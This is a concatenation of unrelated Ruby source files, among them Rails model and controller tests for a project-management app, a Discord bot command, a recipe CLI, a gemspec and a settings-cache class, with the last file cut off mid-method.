# frozen_string_literal: true class VhaCamoInProgressTasksTab < QueueTab validate :assignee_is_organization attr_accessor :show_reader_link_column, :allow_bulk_assign def label COPY::ORGANIZATIONAL_QUEUE_PAGE_IN_PROGESS_TAB_TITLE end def self.tab_name Constants.QUEUE_CONFIG.IN_PROGRESS_TASKS_TAB_NAME end def description format(COPY::USER_QUEUE_PAGE_ASSIGNED_TASKS_DESCRIPTION, assignee.name) end def tasks Task.includes(*task_includes).visible_in_queue_table_view.where(assigned_to: assignee).active end def column_names VhaCamo::COLUMN_NAMES end end
21.571429
97
0.807947
ed2db7437acf479caca2bfd145451771259ce6a2
29,051
require 'test_helper' class ProjectTest < ActiveSupport::TestCase fixtures :projects, :institutions, :work_groups, :group_memberships, :people, :users, :publications, :assets, :organisms # checks that the dependent work_groups are destroyed when the project s def test_delete_work_groups_when_project_deleted p = Factory(:person).projects.first assert_equal 1, p.work_groups.size wg = p.work_groups.first wg.people = [] wg.save! User.current_user = Factory(:admin).user assert_difference('WorkGroup.count', -1) do p.destroy end assert_nil WorkGroup.find_by_id(wg.id) end test 'validate title and decription length' do long_desc = ('a' * 65536).freeze ok_desc = ('a' * 65535).freeze long_title = ('a' * 256).freeze ok_title = ('a' * 255).freeze p = Factory(:project) assert p.valid? p.title = long_title refute p.valid? p.title = ok_title assert p.valid? p.description = long_desc refute p.valid? p.description = ok_desc assert p.valid? disable_authorization_checks {p.save!} end test 'validate start and end date' do # if start and end date are defined, then the end date must be later p = Factory(:project,start_date:nil, end_date:nil) assert p.valid? #just an end date p.end_date = DateTime.now assert p.valid? #start date in the future p.start_date = DateTime.now + 1.day refute p.valid? #start date in the past p.start_date = 1.day.ago assert p.valid? # no end date p.start_date = DateTime.now + 1.day p.end_date = nil assert p.valid? # future start and end dates are fine as long as end is later p.start_date = DateTime.now + 1.day p.end_date = DateTime.now + 2.day assert p.valid? end test 'to_rdf' do object = Factory :project, web_page: 'http://www.sysmo-db.org', organisms: [Factory(:organism), Factory(:organism)] person = Factory(:person,project:object) Factory :data_file, projects: [object], contributor:person Factory :data_file, projects: [object], contributor:person Factory :model, projects: [object], contributor:person Factory :sop, projects: [object], contributor:person Factory :presentation, projects: [object], contributor:person i = Factory :investigation, projects: [object], contributor:person s = Factory :study, investigation: i, contributor:person Factory :assay, study: s, contributor:person object.reload refute object.people.empty? rdf = object.to_rdf RDF::Reader.for(:rdfxml).new(rdf) do |reader| assert reader.statements.count > 1 assert_equal RDF::URI.new("http://localhost:3000/projects/#{object.id}"), reader.statements.first.subject end end test 'rdf for web_page - existing or blank or nil' do object = Factory :project, web_page: 'http://google.com' homepage_predicate = RDF::URI.new 'http://xmlns.com/foaf/0.1/homepage' found = false RDF::Reader.for(:rdfxml).new(object.to_rdf) do |reader| reader.each_statement do |statement| next unless statement.predicate == homepage_predicate found = true assert statement.valid?, 'statement is not valid' assert_equal RDF::Literal::AnyURI.new('http://google.com/'), statement.object end end assert found, "Didn't find homepage predicate" object.web_page = '' found = false RDF::Reader.for(:rdfxml).new(object.to_rdf) do |reader| found = reader.statements.select do |statement| statement.predicate == homepage_predicate end.any? end refute found, 'The homepage statement should have been skipped' object.web_page = nil found = false RDF::Reader.for(:rdfxml).new(object.to_rdf) do |reader| found = reader.statements.select do |statement| statement.predicate == homepage_predicate end.any? end refute found, 'The homepage statement should have been skipped' end def test_avatar_key p = projects(:sysmo_project) assert_nil p.avatar_key assert p.defines_own_avatar? end test 'has_member' do person = Factory :person project = person.projects.first other_person = Factory :person assert project.has_member?(person) assert project.has_member?(person.user) assert !project.has_member?(other_person) assert !project.has_member?(other_person.user) assert !project.has_member?(nil) end def test_ordered_by_name assert Project.all.sort_by { |p| p.title.downcase } == Project.default_order || Project.all.sort_by(&:title) == Project.default_order end def test_title_trimmed p = Project.new(title: ' test project') disable_authorization_checks { p.save! } assert_equal('test project', p.title) end test 'can set site credentials' do p = projects(:sysmo_project) p.site_username = 'fred' p.site_password = '12345' disable_authorization_checks { p.save! } username_setting = p.settings.where(var: 'site_username').first password_setting = p.settings.where(var: 'site_password').first assert username_setting.encrypted? assert_equal 'fred', username_setting.value assert_nil username_setting[:value] refute_equal 'fred', username_setting[:encrypted_value] assert password_setting.encrypted? assert_equal '12345', password_setting.value assert_nil password_setting[:value] refute_equal '12345', password_setting[:encrypted_value] assert_equal 'fred', p.site_username assert_equal '12345', p.site_password end def test_publications_association project = projects(:sysmo_project) assert_equal 3, project.publications.count assert project.publications.include?(publications(:one)) assert project.publications.include?(publications(:pubmed_2)) assert project.publications.include?(publications(:taverna_paper_pubmed)) end def test_can_be_edited_by u = Factory(:project_administrator).user p = u.person.projects.first assert p.can_be_edited_by?(u), 'Project should be editable by user :project_administrator' p = Factory(:project) assert !p.can_be_edited_by?(u), 'other project should not be editable by project administrator, since it is not a project he administers' end test 'can be edited by programme adminstrator' do pa = Factory(:programme_administrator) project = pa.programmes.first.projects.first other_project = Factory(:project) assert project.can_be_edited_by?(pa.user) refute other_project.can_be_edited_by?(pa.user) end test 'can be edited by project member' do admin = Factory(:admin) person = Factory(:person) project = person.projects.first refute_nil project another_person = Factory(:person) assert project.can_be_edited_by?(person.user) refute project.can_be_edited_by?(another_person.user) User.with_current_user person.user do assert project.can_edit? end User.with_current_user another_person.user do refute project.can_edit? end end test 'can be administered by' do admin = Factory(:admin) project_administrator = Factory(:project_administrator) normal = Factory(:person) another_proj = Factory(:project) assert project_administrator.projects.first.can_be_administered_by?(project_administrator.user) assert !normal.projects.first.can_be_administered_by?(normal.user) assert !another_proj.can_be_administered_by?(normal.user) assert !another_proj.can_be_administered_by?(project_administrator.user) assert another_proj.can_be_administered_by?(admin.user) end test 'can be administered by programme administrator' do # programme administrator should be able to administer projects belonging to programme pa = Factory(:programme_administrator) project = pa.programmes.first.projects.first other_project = Factory(:project) assert project.can_be_administered_by?(pa.user) refute other_project.can_be_administered_by?(pa.user) end test 'update with attributes for project_administrator_ids ids' do person = Factory(:person) another_person = Factory(:person) project = person.projects.first refute_nil project another_person.add_to_project_and_institution(project, Factory(:institution)) another_person.save! refute_includes project.project_administrators, person refute_includes project.project_administrators, another_person project.update_attributes(project_administrator_ids: [person.id.to_s]) assert_includes project.project_administrators, person refute_includes project.project_administrators, another_person project.update_attributes(project_administrator_ids: [another_person.id.to_s]) refute_includes project.project_administrators, person assert_includes project.project_administrators, another_person # cannot change to a person from another project person_in_other_project = Factory(:person) project.update_attributes(project_administrator_ids: [person_in_other_project.id.to_s]) refute_includes project.project_administrators, person refute_includes project.project_administrators, another_person refute_includes project.project_administrators, person_in_other_project end test 'update with attributes for gatekeeper ids' do person = Factory(:person) another_person = Factory(:person) project = person.projects.first refute_nil project another_person.add_to_project_and_institution(project, Factory(:institution)) another_person.save! refute_includes project.asset_gatekeepers, person refute_includes project.asset_gatekeepers, another_person project.update_attributes(asset_gatekeeper_ids: [person.id.to_s]) assert_includes project.asset_gatekeepers, person refute_includes project.asset_gatekeepers, another_person project.update_attributes(asset_gatekeeper_ids: [another_person.id.to_s]) refute_includes project.asset_gatekeepers, person assert_includes project.asset_gatekeepers, another_person # 2 at once project.update_attributes(asset_gatekeeper_ids: [person.id.to_s, another_person.id.to_s]) assert_includes project.asset_gatekeepers, person assert_includes project.asset_gatekeepers, another_person # cannot change to a person from another project person_in_other_project = Factory(:person) project.update_attributes(asset_gatekeeper_ids: [person_in_other_project.id.to_s]) refute_includes project.asset_gatekeepers, person refute_includes project.asset_gatekeepers, another_person refute_includes project.asset_gatekeepers, person_in_other_project end test 'update with attributes for pal ids' do person = Factory(:person) another_person = Factory(:person) project = person.projects.first refute_nil project another_person.add_to_project_and_institution(project, Factory(:institution)) another_person.save! refute_includes project.pals, person refute_includes project.pals, another_person project.update_attributes(pal_ids: [person.id.to_s]) assert_includes project.pals, person refute_includes project.pals, another_person project.update_attributes(pal_ids: [another_person.id.to_s]) refute_includes project.pals, person assert_includes project.pals, another_person # cannot change to a person from another project person_in_other_project = Factory(:person) project.update_attributes(pal_ids: [person_in_other_project.id.to_s]) refute_includes project.pals, person refute_includes project.pals, another_person refute_includes project.pals, person_in_other_project end test 'update with attributes for asset housekeeper ids' do person = Factory(:person) another_person = Factory(:person) project = person.projects.first refute_nil project another_person.add_to_project_and_institution(project, Factory(:institution)) another_person.save! refute_includes project.asset_housekeepers, person refute_includes project.asset_housekeepers, another_person project.update_attributes(asset_housekeeper_ids: [person.id.to_s]) assert_includes project.asset_housekeepers, person refute_includes project.asset_housekeepers, another_person project.update_attributes(asset_housekeeper_ids: [another_person.id.to_s]) refute_includes project.asset_housekeepers, person assert_includes project.asset_housekeepers, another_person # 2 at once project.update_attributes(asset_housekeeper_ids: [person.id.to_s, another_person.id.to_s]) assert_includes project.asset_housekeepers, person assert_includes project.asset_housekeepers, another_person # cannot change to a person from another project person_in_other_project = Factory(:person) project.update_attributes(asset_housekeeper_ids: [person_in_other_project.id.to_s]) refute_includes project.asset_housekeepers, person refute_includes project.asset_housekeepers, another_person refute_includes project.asset_housekeepers, person_in_other_project end def test_update_first_letter p = Project.new(title: 'test project') disable_authorization_checks { p.save! } assert_equal 'T', p.first_letter end def test_valid p = projects(:one) p.web_page = nil assert p.valid? p.web_page = '' assert p.valid? p.web_page = 'sdfsdf' assert !p.valid? p.web_page = 'http://google.com' assert p.valid? p.web_page = 'https://google.com' assert p.valid? p.web_page = 'http://google.com/fred' assert p.valid? p.web_page = 'http://google.com/fred?param=bob' assert p.valid? p.web_page = 'http://www.mygrid.org.uk/dev/issues/secure/IssueNavigator.jspa?reset=true&mode=hide&sorter/order=DESC&sorter/field=priority&resolution=-1&pid=10051&fixfor=10110' assert p.valid? p.wiki_page = nil assert p.valid? p.wiki_page = '' assert p.valid? p.wiki_page = 'sdfsdf' assert !p.valid? p.wiki_page = 'http://google.com' assert p.valid? p.wiki_page = 'https://google.com' assert p.valid? p.wiki_page = 'http://google.com/fred' assert p.valid? p.wiki_page = 'http://google.com/fred?param=bob' assert p.valid? p.wiki_page = 'http://www.mygrid.org.uk/dev/issues/secure/IssueNavigator.jspa?reset=true&mode=hide&sorter/order=DESC&sorter/field=priority&resolution=-1&pid=10051&fixfor=10110' assert p.valid? p.title = nil assert !p.valid? p.title = '' assert !p.valid? p.title = 'fred' assert p.valid? end test 'test uuid generated' do p = projects(:one) assert_nil p.attributes['uuid'] p.save assert_not_nil p.attributes['uuid'] end test "uuid doesn't change" do x = projects(:one) x.save uuid = x.attributes['uuid'] x.save assert_equal x.uuid, uuid end test 'Should order Latest list of projects by updated_at' do project1 = Factory(:project, title: 'C', updated_at: 2.days.ago) project2 = Factory(:project, title: 'B', updated_at: 1.days.ago) latest_projects = Project.paginate_after_fetch([project1, project2], page: 'latest') assert_equal project2, latest_projects.first end test 'can_delete?' do project = Factory(:project) # none-admin can not delete user = Factory(:user) assert !user.is_admin? assert project.work_groups.collect(&:people).flatten.empty? assert !project.can_delete?(user) # can not delete if workgroups contain people user = Factory(:admin).user assert user.is_admin? project = Factory(:project) work_group = Factory(:work_group, project: project) a_person = Factory(:person, group_memberships: [Factory(:group_membership, work_group: work_group)]) assert !project.work_groups.collect(&:people).flatten.empty? assert !project.can_delete?(user) # can delete if admin and workgroups are empty work_group.group_memberships.delete_all assert project.work_groups.reload.collect(&:people).flatten.empty? assert user.is_admin? assert project.can_delete?(user) end test 'gatekeepers' do User.with_current_user(Factory(:admin)) do person = Factory(:person_in_multiple_projects) assert_equal 3, person.projects.count proj1 = person.projects.first proj2 = person.projects.last person.is_asset_gatekeeper = true, proj1 person.save! assert proj1.asset_gatekeepers.include?(person) assert !proj2.asset_gatekeepers.include?(person) end end test 'project_administrators' do User.with_current_user(Factory(:admin)) do person = Factory(:person_in_multiple_projects) proj1 = person.projects.first proj2 = person.projects.last person.is_project_administrator = true, proj1 person.save! assert proj1.project_administrators.include?(person) assert !proj2.project_administrators.include?(person) end end test 'asset_managers' do User.with_current_user(Factory(:admin)) do person = Factory(:person_in_multiple_projects) proj1 = person.projects.first proj2 = person.projects.last person.is_asset_housekeeper = true, proj1 person.save! assert proj1.asset_housekeepers.include?(person) assert !proj2.asset_housekeepers.include?(person) end end test 'pals' do User.with_current_user(Factory(:admin)) do person = Factory(:person_in_multiple_projects) proj1 = person.projects.first proj2 = person.projects.last person.is_pal = true, proj1 person.save! assert proj1.pals.include?(person) assert !proj2.pals.include?(person) end end test 'without programme' do p1 = Factory(:project) p2 = Factory(:project, programme: Factory(:programme)) ps = Project.without_programme assert_includes ps, p1 refute_includes ps, p2 end test 'ancestor and dependants' do p = Factory(:project) p2 = Factory(:project) assert_nil p2.lineage_ancestor assert_empty p.lineage_descendants p.lineage_ancestor = p refute p.valid? p2.lineage_ancestor = p assert p2.valid? disable_authorization_checks { p2.save! } p2.reload p.reload assert_equal p, p2.lineage_ancestor assert_equal [p2], p.lineage_descendants # repeat, but assigning the other way around p = Factory(:project) p2 = Factory(:project) assert_nil p2.lineage_ancestor assert_empty p.lineage_descendants disable_authorization_checks do p2.lineage_descendants << p assert p2.valid? p2.save! end p2.reload p.reload assert_equal [p], p2.lineage_descendants assert_equal p2, p.lineage_ancestor p3 = Factory(:project) disable_authorization_checks do p2.lineage_descendants << p3 p2.save! end p2.reload assert_equal [p, p3], p2.lineage_descendants.sort_by(&:id) end test 'spawn' do p = Factory(:programme, projects: [Factory(:project, description: 'proj', avatar: Factory(:avatar))]).projects.first wg1 = Factory(:work_group, project: p) wg2 = Factory(:work_group, project: p) person = Factory(:person, group_memberships: [Factory(:group_membership, work_group: wg1)]) person2 = Factory(:person, group_memberships: [Factory(:group_membership, work_group: wg1)]) person3 = Factory(:person, group_memberships: [Factory(:group_membership, work_group: wg2)]) p.reload assert_equal 3, p.people.size assert_equal 2, p.work_groups.size assert_includes p.people, person assert_includes p.people, person2 assert_includes p.people, person3 refute_nil p.avatar p2 = p.spawn assert p2.new_record? assert_equal p2.title, p.title assert_equal p2.description, p.description assert_equal p2.programme, p.programme p2.title = 'sdfsdflsdfoosdfsdf' # to allow it to save disable_authorization_checks { p2.save! } p2.reload p.reload assert_nil p2.avatar refute_equal p, p2 refute_includes p2.work_groups, wg1 refute_includes p2.work_groups, wg2 assert_equal 2, p2.work_groups.size assert_equal p.institutions.sort, p2.institutions.sort assert_equal p.people.sort, p2.people.sort assert_equal 3, p2.people.size assert_includes p2.people, person assert_includes p2.people, person2 assert_includes p2.people, person3 assert_equal p, p2.lineage_ancestor assert_equal [p2], p.lineage_descendants prog2 = Factory(:programme) p2 = p.spawn(title: 'fish project', programme_id: prog2.id, description: 'about doing fishing') assert p2.new_record? assert_equal 'fish project', p2.title assert_equal prog2, p2.programme assert_equal 'about doing fishing', p2.description end test 'spawn consolidates workgroups' do p = Factory(:programme, projects: [Factory(:project, avatar: Factory(:avatar))]).projects.first wg1 = Factory(:work_group, project: p) wg2 = Factory(:work_group, project: p) Factory(:group_membership, work_group: wg1, person: Factory(:person)) Factory(:group_membership, work_group: wg1, person: Factory(:person)) Factory(:group_membership, work_group: wg1, person: Factory(:person)) Factory(:group_membership, work_group: wg2, person: Factory(:person)) Factory(:group_membership, work_group: wg2, person: Factory(:person)) p.reload assert_equal 5, p.people.count assert_equal 2, p.work_groups.count p2 = nil assert_difference('WorkGroup.count', 2) do assert_difference('GroupMembership.count', 5) do assert_difference('Project.count', 1) do assert_no_difference('Person.count') do p2 = p.spawn(title: 'sdfsdfsdfsdf') disable_authorization_checks { p2.save! } end end end end p2.reload assert_equal 5, p2.people.count assert_equal 2, p2.work_groups.count refute_equal p.work_groups.sort, p2.work_groups.sort assert_equal p.people.sort, p2.people.sort end test 'can create?' do User.current_user = nil refute Project.can_create? User.current_user = Factory(:person).user refute Project.can_create? User.current_user = Factory(:project_administrator).user refute Project.can_create? User.current_user = Factory(:admin).user assert Project.can_create? person = Factory(:programme_administrator) User.current_user = person.user programme = person.administered_programmes.first assert programme.is_activated? assert Project.can_create? # only if the programme is activated person = Factory(:programme_administrator) programme = person.administered_programmes.first programme.is_activated = false disable_authorization_checks { programme.save! } User.current_user = person.user refute Project.can_create? end test 'project programmes' do project = Factory(:project) assert_empty project.programmes assert_nil project.programme prog = Factory(:programme) project = prog.projects.first assert_equal [prog], project.programmes end test 'mass assignment' do # check it is possible to mass assign all the attributes programme = Factory(:programme) institution = Factory(:institution) person = Factory(:person) organism = Factory(:organism) other_project = Factory(:project) attr = { title: 'My Project', wiki_page: 'http://wikipage.com', web_page: 'http://webpage.com', organism_ids: [organism.id], institution_ids: [institution.id], parent_id: [other_project.id], description: 'Project description', project_administrator_ids: [person.id], asset_gatekeeper_ids: [person.id], pal_ids: [person.id], asset_housekeeper_ids: [person.id] } project = Project.create(attr) disable_authorization_checks { project.save! } project.reload assert_includes project.organisms, organism assert_equal 'Project description', project.description assert_equal 'http://wikipage.com', project.wiki_page assert_equal 'http://webpage.com', project.web_page assert_equal 'My Project', project.title # people with special roles need setting after the person belongs to the project, # otherwise non-members are stripped out when assigned person.add_to_project_and_institution(project, Factory(:institution)) person.save! person.reload attr = { project_administrator_ids: [person.id], asset_gatekeeper_ids: [person.id], pal_ids: [person.id], asset_housekeeper_ids: [person.id] } project.update_attributes(attr) assert_includes project.project_administrators, person assert_includes project.asset_gatekeepers, person assert_includes project.pals, person assert_includes project.asset_housekeepers, person end test 'project role removed when removed from project' do project_administrator = Factory(:project_administrator).reload project = project_administrator.projects.first assert_includes project_administrator.roles, 'project_administrator' assert_includes project.project_administrators, project_administrator assert project_administrator.is_project_administrator?(project) assert project_administrator.user.is_project_administrator?(project) assert project_administrator.user.person.is_project_administrator?(project) assert project.can_be_administered_by?(project_administrator.user) project_administrator.group_memberships.destroy_all project_administrator = project_administrator.reload assert_not_includes project_administrator.roles, 'project_administrator' assert_not_includes project.project_administrators, project_administrator assert !project_administrator.is_project_administrator?(project) assert !project.can_be_administered_by?(project_administrator.user) end test 'project role removed when marked as left project' do project_administrator = Factory(:project_administrator).reload project = project_administrator.projects.first assert_includes project_administrator.roles, 'project_administrator' assert_includes project.project_administrators, project_administrator assert project_administrator.is_project_administrator?(project) assert project_administrator.user.is_project_administrator?(project) assert project_administrator.user.person.is_project_administrator?(project) assert project.can_be_administered_by?(project_administrator.user) project_administrator.group_memberships.first.update_attributes(time_left_at: 1.day.ago) project_administrator = project_administrator.reload assert_not_includes project_administrator.roles, 'project_administrator' assert_not_includes project.project_administrators, project_administrator assert !project_administrator.is_project_administrator?(project) assert !project.can_be_administered_by?(project_administrator.user) end test 'stores project settings' do project = Factory(:project) assert_nil project.settings['nels_enabled'] assert_difference('Settings.count') do project.settings['nels_enabled'] = true end assert project.settings['nels_enabled'] end test 'sets project settings using virtual attributes' do project = Factory(:project) assert_nil project.nels_enabled assert_difference('Settings.count') do project.update_attributes(nels_enabled: true) end assert project.nels_enabled end test 'does not use global defaults for project settings' do project = Factory(:project) assert Settings.defaults.key?('nels_enabled') assert_nil Settings.for(project).fetch('nels_enabled') assert_nil project.settings['nels_enabled'] end test 'stores encrypted project settings' do project = Factory(:project) assert_nil project.settings['site_password'] assert_difference('Settings.count') do project.settings['site_password'] = 'p@ssw0rd!' end setting = project.settings.where(var: 'site_password').first refute_equal 'p@ssw0rd!', setting[:encrypted_value] assert_nil setting[:value] # This is the database value assert_equal 'p@ssw0rd!', setting.value assert_equal 'p@ssw0rd!', project.settings['site_password'] end test 'sets NeLS enabled in various ways' do project = Factory(:project) assert_nil project.nels_enabled project.nels_enabled = true assert_equal true, project.reload.nels_enabled project.nels_enabled = false assert_equal false, project.reload.nels_enabled project.nels_enabled = '1' assert_equal true, project.reload.nels_enabled project.nels_enabled = '0' assert_equal false, project.reload.nels_enabled project.nels_enabled = false assert_equal false, project.reload.nels_enabled project.nels_enabled = 'yes please' assert_equal true, project.reload.nels_enabled end end
32.278889
180
0.73161
eda890b1a1a0e9b532ea43cd1ffd610a9a002aa0
1,500
require 'test_helper' require 'authorize/graph/fixtures' class ControllerTest < ActionController::TestCase fixtures :all tests WidgetsController def setup ::Authorize::Graph::Fixtures.create_fixtures end test 'predicate not stuck on false when permitted' do assert @controller.permit?({:list => widgets(:foo)}, {:roles => [roles(:administrator)]}) end test 'predicate not stuck on true when not permitted' do assert [email protected]?({:all => Widget}, {:roles => []}) end test 'query controller for default roles' do @controller.expects(:roles).returns([roles(:administrator)]) @controller.permit?(:update => widgets(:foo)) end test 'yields to block when permitted' do sentinel = mock('sentinel', {:trip! => true}) @controller.permit({:list => widgets(:foo)}, {:roles => [roles(:administrator)]}) {sentinel.trip!} end test 'calls handler and does not yield to block when not permitted' do sentinel = mock('sentinel') @controller.expects(:handle_authorization_failure).returns(true) @controller.permit({:all => Widget}, {:roles => []}) {sentinel.trip!} end test 'handler raises authorization exception' do assert_raises Authorize::AuthorizationError do @controller.permit({:all => Widget}, {:roles => []}) {sentinel.trip!} end end test 'mutiple authorization hash pairs' do assert @controller.permit?({:list => widgets(:foo), :update => users(:chris)}, {:roles => [roles(:user_chris)]}) end end
32.608696
116
0.684667
ac4b8626af912db3add837b947205ba1d7ecf23f
1,081
module Bot::DiscordCommands # Adds an arbitrary amount of "wokes" which count against "Yikes" # This command can only be used by the Woke Bloke module Woke extend Discordrb::Commands::CommandContainer command :woke do |event, id, amount = 1| x = event.author.roles.find { |role| role.name == 'Yikelord' } y = event.author.roles.find { |role| role.name == 'Woke Bloke' } if x.nil? && y.nil? event.channel.send_temporary_message("You are not worthy. That command can only be used by the esteemed 'Woke Bloke' or the mighty 'Yikelord'.", 15) break end id.gsub('!', '') user = Bot::Database::Users.find_or_create(user_id: id) user.update(woke: user[:woke] + amount.to_i) totalWoke = user[:woke] message = "#{id} got #{amount} Woke!\nYou now have #{totalWoke} Woke!" max = Bot::Database::Users.max(:woke) if max == user[:woke] message += "\n#{id} is the most woke" end event.channel.send_message(message) end end end
43.24
158
0.604995
1a5b1cf9ff90eecd20d77d0f3a216d4fd95083bd
1,650
require 'pry' class FoodFinder::CLI def call FoodFinder::API.recipes introduction end def introduction puts "Are you hungry? Enter Y to continue or N to quit" input = gets.chomp.downcase if input == "y" display_recipes elsif input == 'n' goodbye_1 else puts "I didn't understand that, please try again" introduction end end def display_recipes # input = 0 puts recipe_displayall puts "Would you like to cook any of these recipes? Scroll up to see recipies and select recipe by entering the number. Type 27 to quit." input = gets.chomp if input.to_i == 27 goodbye_2 else recipe = recipe_all(input.to_i - 1) puts "Here is your #{recipe.strMeal} recipe link: #{recipe.strSource}." puts "Here is a link to video instruction for your #{recipe.strMeal}: #{recipe.strYoutube}." puts "Press 27 if you are ready to exit. Press 26 if you would like to see the recipe list again." input = gets.chomp if input.to_i == 27 goodbye_2 elsif input.to_i == 26 display_recipes else puts "I didn't understand that, please try again" display_recipes end end end def recipe_displayall FoodFinder::Recipe.all.collect.with_index(1) { |meal, index| "#{index}. #{ meal.strMeal }" } end def recipe_all(input) FoodFinder::Recipe.all[input] end def goodbye_1 puts 'Then I will be of no use to you!' exit end def goodbye_2 puts 'Happy eating!' exit end end
23.913043
144
0.611515
5dae7caf7fb5a615cbcae47649e2f200916807bc
1,530
# frozen_string_literal: true module FrontendHelpers module FormBuilderHelpers module SwitchField def switch_field_group(method, options = {}, checked_value = '1', unchecked_value = '0', &block) control_class = options.delete(:control_class) label_class = options.delete(:label_class) label = if block_given? @template.capture(&block) else tag.p(options.delete(:label), class: label_class) end tag.div(class: "control #{control_class}") do safe_join([ label, switch_field(method, options, checked_value, unchecked_value) ]) end end def switch_field(method, options = {}, checked_value = '1', unchecked_value = '0') unique_identifier = timestamp options.merge!(id: check_box_id(object, method, unique_identifier)) @template.content_tag(:div, class: 'field switch') do safe_join([ check_box(method, options, checked_value, unchecked_value), label("#{method}_#{unique_identifier}") { '&nbsp;'.html_safe } ]) end end private def timestamp Time.now.to_f.to_s.gsub('.', '_') end def check_box_id(object, method, unique_identifier) [object.model_name.singular, method.to_s.singularize, unique_identifier].join('_') end end end end
31.875
90
0.568627
9107fd1e4381c1ceb3492360e51572e9289aeb89
377
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Web::Mgmt::V2018_02_01 module Models # # Defines values for AccessControlEntryAction # module AccessControlEntryAction Permit = "Permit" Deny = "Deny" end end end
22.176471
70
0.702918
6229554e708f4e963b383fb44d581c19f883b898
1,423
# -*- encoding: utf-8 -*- # stub: jekyll-readme-index 0.1.0 ruby lib Gem::Specification.new do |s| s.name = "jekyll-readme-index".freeze s.version = "0.1.0" s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version= s.require_paths = ["lib".freeze] s.authors = ["Ben Balter".freeze] s.date = "2017-02-03" s.email = ["[email protected]".freeze] s.homepage = "https://github.com/benbalter/jekyll-readme-index".freeze s.licenses = ["MIT".freeze] s.rubygems_version = "3.0.3".freeze s.summary = "A Jekyll plugin to render a project's README as the site's index.".freeze s.installed_by_version = "3.0.3" if s.respond_to? :installed_by_version if s.respond_to? :specification_version then s.specification_version = 4 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_runtime_dependency(%q<jekyll>.freeze, ["~> 3.0"]) s.add_development_dependency(%q<rspec>.freeze, ["~> 3.5"]) s.add_development_dependency(%q<rubocop>.freeze, ["~> 0.40"]) else s.add_dependency(%q<jekyll>.freeze, ["~> 3.0"]) s.add_dependency(%q<rspec>.freeze, ["~> 3.5"]) s.add_dependency(%q<rubocop>.freeze, ["~> 0.40"]) end else s.add_dependency(%q<jekyll>.freeze, ["~> 3.0"]) s.add_dependency(%q<rspec>.freeze, ["~> 3.5"]) s.add_dependency(%q<rubocop>.freeze, ["~> 0.40"]) end end
37.447368
112
0.653549
acf076bbc6aad69ef6461f2315fb50f06c33e61f
1,100
# -*- coding: binary -*- require 'strscan' module Postgres::Conversion def decode_array(str, delim=',', &conv_proc) delim = Regexp.escape(delim) buf = StringScanner.new(str) return parse_arr(buf, delim, &conv_proc) ensure raise ConversionError, "end of string expected (#{buf.rest})" unless buf.empty? end private def parse_arr(buf, delim, &conv_proc) # skip whitespace buf.skip(/\s*/) raise ConversionError, "'{' expected" unless buf.get_byte == '{' elems = [] unless buf.scan(/\}/) # array is not empty loop do # skip whitespace buf.skip(/\s+/) elems << if buf.check(/\{/) parse_arr(buf, delim, &conv_proc) else e = buf.scan(/("((\\.)|[^"])*"|\\.|[^\}#{ delim }])*/) || raise(ConversionError) if conv_proc then conv_proc.call(e) else e end end break if buf.scan(/\}/) break unless buf.scan(/#{ delim }/) end end # skip whitespace buf.skip(/\s*/) elems end end
22.916667
91
0.531818
ac2cbd280048fea0c0053bd730955ca41780988c
382
# frozen_string_literal: true module Travis module Yml module Schema module Def module Deploy # docs do not mention catalyze class Datica < Deploy register :datica def define map :target, to: :str map :path, to: :str end end end end end end end
18.190476
40
0.497382
1802d45145335f1541804b269967cbd59c88ed55
1,151
# # Cookbook Name:: oracle # Recipe:: client # # Copyright 2010, Eric G. Wolfe # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # node.set["sysctl"]["is_oracle_client"] = true node["oracle"]["client_packages"].each do |client_package| package client_package end template "/etc/security/limits.d/oracle.conf" do owner "root" group "root" mode "0644" source "oracle-limits.conf.erb" end template "/etc/profile.d/oracle-hostname.sh" do owner "root" group "root" mode "0755" source "oracle-hostname.sh.erb" end directory "/u01/app/oracle" do owner "oracle" group "dba" mode "775" recursive true end include_recipe "el-sysctl"
23.979167
74
0.730669
bfed88605e0ff7fb5dcfb1e6b7d2c7515fff5c2e
9,393
# frozen_string_literal: true module SuperSettings # Cache that stores the settings in memory so they can be looked up without any # network overhead. All of the settings will be loaded in the cache and the database # will only be checked every few seconds for changes so that lookups are very fast. # # The cache is thread safe and it ensures that only a single thread will ever be # trying to update the cache at a time to avoid any dog piling effects. class LocalCache # @private NOT_DEFINED = Object.new.freeze private_constant :NOT_DEFINED # @private DRIFT_FACTOR = 10 private_constant :DRIFT_FACTOR # Number of seconds that the cache will be considered fresh. The database will only be # checked for changed settings at most this often. attr_reader :refresh_interval # @parem refresh_interval [Numeric] number of seconds to wait between checking for setting updates def initialize(refresh_interval:) @refresh_interval = refresh_interval @lock = Mutex.new reset end # Get a setting value from the cache. # # This method will periodically check the cache for freshness and update the cache from # the database if there are any differences. # # Cache misses will be stored in the cache so that a request for a missing setting does not # hit the database every time. This does mean that that you should not call this method with # a large number of dynamically generated keys since that could lead to memory bloat. # # @param key [String, Symbol] setting key def [](key) ensure_cache_up_to_date! key = key.to_s value = @cache[key] if value.nil? && [email protected]?(key) if @refreshing value = NOT_DEFINED else setting = Setting.find_by_key(key) value = (setting ? setting.value : NOT_DEFINED) # Guard against caching too many cache missees; at some point it's better to slam # the database rather than run out of memory. if setting || @cache.size < 100_000 @lock.synchronize do # For case where one thread could be iterating over the cache while it's updated causing an error @cache = @cache.merge(key => value).freeze @hashes = {} end end end end return nil if value == NOT_DEFINED value end # Return the setting as structured data. The keys will be split by the specified delimiter # to create a nested hash (i.e. "a.b.c" = 1 becomes `{"a" => {"b" => {"c" => 1}}}`). # # See SuperSettings.structured for more details. def structured(key = nil, delimiter: ".", max_depth: nil) key = key.to_s cache_key = [key, delimiter, max_depth] cached_value = @hashes[cache_key] return cached_value if cached_value flattened = to_h root_key = "" if Coerce.present?(key) root_key = "#{key}#{delimiter}" reduced_hash = {} flattened.each do |k, v| if k.start_with?(root_key) 